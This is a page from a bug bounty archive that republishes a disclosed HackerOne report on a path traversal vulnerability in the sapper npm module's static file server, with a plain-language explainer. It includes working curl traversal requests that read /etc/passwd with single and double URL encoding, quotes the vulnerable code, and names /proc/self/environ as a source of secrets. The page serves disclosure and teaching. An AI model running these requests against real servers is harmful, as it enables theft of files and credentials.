Skip to content
Path traversal Disclosed report Beginner

[sapper] Path Traversal

The sapper module's static file server used path.resolve with a user-controlled, URL-decoded path, allowing directory traversal. An attacker could read arbitrary files from the server, such as /etc/passwd or environment files containing secrets.

anvikha Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in under an hour
  • Fixed in 3 months
  • Disclosed after 3 months

I would like to report a critical path traversal vunerability in the sapper module It allows an attacker to simply obain arbitrary files from the remote server, exploiting a simple path traversal using URL-encoded "../".

Module

module name: sapper version: 0.27.10 npm page: https://www.npmjs.com/package/sapper

Module Description

Sapper is a framework for building high-performance universal web apps. Read the guide or the introductory blog post to learn more.

Module Stats

[6,762] weekly downloads

Vulnerability

Vulnerability Description

The vulnerability was found by playing with a sapper / webpack stack while researching vulnerabilities on internal projects. I started to dig deeper on how static files were served, and I've noticed that the module allowed a trivial path traversal in its code.

Steps To Reproduce:

  1. Clone https://github.com/sveltejs/sapper-template project
  2. npm i
  3. Use degit to obtain the webpack example app: npx degit "sveltejs/sapper-template#webpack" my-app
  4. npx sapper dev - exploit with curl -vv http://localhost:3000/client/750af05c3a69ddc6073a/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

This also works in prod mode with 4. npx sapper build && node __sapper__build - exploit with curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

The reason why the production deployment requires an extra-layer of URL encoding is because this project runs under polka in production, which, contrary to express for example, applies an extra decodeURIComponent on the URI.

Patch

Sapper server simply forms a path with path.resolve using the build_dir as base directory and the URI-decoded file passed in the URL, resulting in a path traversal. I am not providing a patch here, but here I've identified the vulnerable code:

sapper/runtime/server.mjs

function serve({ prefix, pathname, cache_control }



) {
  const filter = pathname
    ? (req) => req.path === pathname
    : (req) => req.path.startsWith(prefix);

  const cache = new Map();

  const read = dev
    ? (file) => fs.readFileSync(path.resolve(build_dir, file))
    : (file) => (cache.has(file) ? cache : cache.set(file, fs.readFileSync(path.resolve(build_dir, file)))).get(file);

  return (req, res, next) => {
    if (filter(req)) {
    const type = lookup(req.path);

    try {
      const file = decodeURIComponent(req.path.slice(1));
      const data = read(file);

      res.setHeader('Content-Type', type);
      res.setHeader('Cache-Control', cache_control);
      res.end(data);

Supporting Material/References:

  • OS: Debian Linux sid
  • NodeJS: v10.19.0
  • NPM: 6.13.4

Wrap up

  • I contacted the maintainer to let them know: Y
  • I opened an issue in the related repository: N - I think this is too severe and impacts too many sites to make it public.

Impact

Any file can be retrieved from the remote server, namely stuff like /proc/self/environ, which would contain any sort of API keys used by the environment the application has been deployed too. This will lead to complete infrastructure RCE and takeover.

The original report as published on HackerOne, by anvikha. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server used path.resolve with a user-supplied, URL-decoded path without validating that the resolved path stayed within the intended build directory.

Impact

Any file can be retrieved, including environment files with API keys, which could lead to infrastructure takeover.

What the attacker needed

Sapper app running; network access to the server

How it was found

  1. Clone the sapper-template project and install dependencies.
  2. Obtain the webpack example app using degit.
  3. Run the development server with npx sapper dev.
  4. Send a request with URL-encoded '../' sequences to read /etc/passwd.
  5. For production, build and run the app, then send a double-encoded traversal request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server that serves static files should only allow access to files inside a specific folder. Here, the server took a file path from the URL, decoded it, and joined it to the folder without checking for '..' sequences. That let anyone request files outside the folder, like system password files or secret configuration.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.